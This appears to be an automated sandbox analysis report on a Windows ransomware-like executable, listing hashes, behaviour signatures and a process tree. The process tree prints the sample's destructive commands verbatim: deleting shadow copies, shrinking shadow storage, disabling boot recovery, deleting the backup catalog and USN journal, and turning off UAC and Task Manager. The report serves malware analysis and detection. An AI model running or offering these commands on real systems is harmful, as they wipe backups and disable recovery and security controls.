Analysis
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max time kernel
150s -
max time network
8s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
10-11-2022 07:45
Behavioral task
behavioral1
Sample
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
Resource
win10v2004-20220812-en
General
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Target
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
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Size
1.1MB
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MD5
674e7ee905d24a89af47b53b53ffc23c
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SHA1
c6b73b882aa1f4d46ec655a5591a28638700856c
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SHA256
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1
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SHA512
6a0623742423f2137a0a9285e6a590659f8436eeb1fd7c9bcb5e16ecbffa949ae82cf59ee9a49e614345b559a581cfe23c87afce028d1927335dc4938a9b0408
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SSDEEP
24576:ibBzKGHF0bxTCFvXwKl/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoPGxFG4zmYw7A:wV4xTC4u4Qc6/F8bw4Nw
Malware Config
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 440 fsutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1060 bcdedit.exe 1444 bcdedit.exe -
pid Process 1632 wbadmin.exe -
Enumerates connected drives 3 TTPs 8 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\J: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\E: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\F: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\G: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\H: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\E: vssadmin.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Interacts with shadow copies 2 TTPs 9 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 836 vssadmin.exe 928 vssadmin.exe 1224 vssadmin.exe 1820 vssadmin.exe 2140 vssadmin.exe 1852 vssadmin.exe 1744 vssadmin.exe 1980 vssadmin.exe 2012 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1044 wrote to memory of 1028 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 1044 wrote to memory of 1028 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 1044 wrote to memory of 1028 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 1044 wrote to memory of 1028 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 1044 wrote to memory of 1632 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 1044 wrote to memory of 1632 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 1044 wrote to memory of 1632 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 1044 wrote to memory of 1632 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 1044 wrote to memory of 1372 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 1044 wrote to memory of 1372 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 1044 wrote to memory of 1372 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 1044 wrote to memory of 1372 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 1372 wrote to memory of 1444 1372 cmd.exe 31 PID 1372 wrote to memory of 1444 1372 cmd.exe 31 PID 1372 wrote to memory of 1444 1372 cmd.exe 31 PID 1372 wrote to memory of 1444 1372 cmd.exe 31 PID 1044 wrote to memory of 2040 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 1044 wrote to memory of 2040 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 1044 wrote to memory of 2040 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 1044 wrote to memory of 2040 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 1044 wrote to memory of 1828 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 34 PID 1044 wrote to memory of 1828 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 34 PID 1044 wrote to memory of 1828 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 34 PID 1044 wrote to memory of 1828 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 34 PID 1044 wrote to memory of 1240 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 1044 wrote to memory of 1240 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 1044 wrote to memory of 1240 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 1044 wrote to memory of 1240 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 1044 wrote to memory of 1340 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 1044 wrote to memory of 1340 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 1044 wrote to memory of 1340 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 1044 wrote to memory of 1340 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 1044 wrote to memory of 596 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 1044 wrote to memory of 596 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 1044 wrote to memory of 596 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 1044 wrote to memory of 596 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 1044 wrote to memory of 556 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 39 PID 1044 wrote to memory of 556 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 39 PID 1044 wrote to memory of 556 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 39 PID 1044 wrote to memory of 556 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 39 PID 1044 wrote to memory of 616 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 1044 wrote to memory of 616 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 1044 wrote to memory of 616 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 1044 wrote to memory of 616 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 1044 wrote to memory of 1112 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 44 PID 1044 wrote to memory of 1112 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 44 PID 1044 wrote to memory of 1112 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 44 PID 1044 wrote to memory of 1112 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 44 PID 1044 wrote to memory of 844 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 45 PID 1044 wrote to memory of 844 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 45 PID 1044 wrote to memory of 844 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 45 PID 1044 wrote to memory of 844 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 45 PID 1044 wrote to memory of 1940 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 1044 wrote to memory of 1940 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 1044 wrote to memory of 1940 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 1044 wrote to memory of 1940 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 1044 wrote to memory of 1156 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 50 PID 1044 wrote to memory of 1156 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 50 PID 1044 wrote to memory of 1156 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 50 PID 1044 wrote to memory of 1156 1044 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 50 PID 1340 wrote to memory of 1852 1340 cmd.exe 51 PID 1340 wrote to memory of 1852 1340 cmd.exe 51 PID 1340 wrote to memory of 1852 1340 cmd.exe 51 PID 1828 wrote to memory of 1744 1828 cmd.exe 52
Processes
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C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe"C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe"1⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service2⤵PID:1028
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off2⤵PID:1632
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c chcp 4372⤵
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Windows\SysWOW64\chcp.comchcp 4373⤵PID:1444
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"2⤵PID:2040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1240
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:596
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB2⤵PID:556
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2012
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded2⤵PID:616
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1112
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:844
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1940
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:440
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1156
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded2⤵PID:1056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1520
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB2⤵PID:1844
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1224
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1028
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f2⤵PID:1192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB2⤵PID:1032
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded2⤵PID:820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f2⤵PID:2004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB2⤵PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded2⤵PID:1104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:2068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB2⤵PID:2092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f2⤵PID:2120
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1012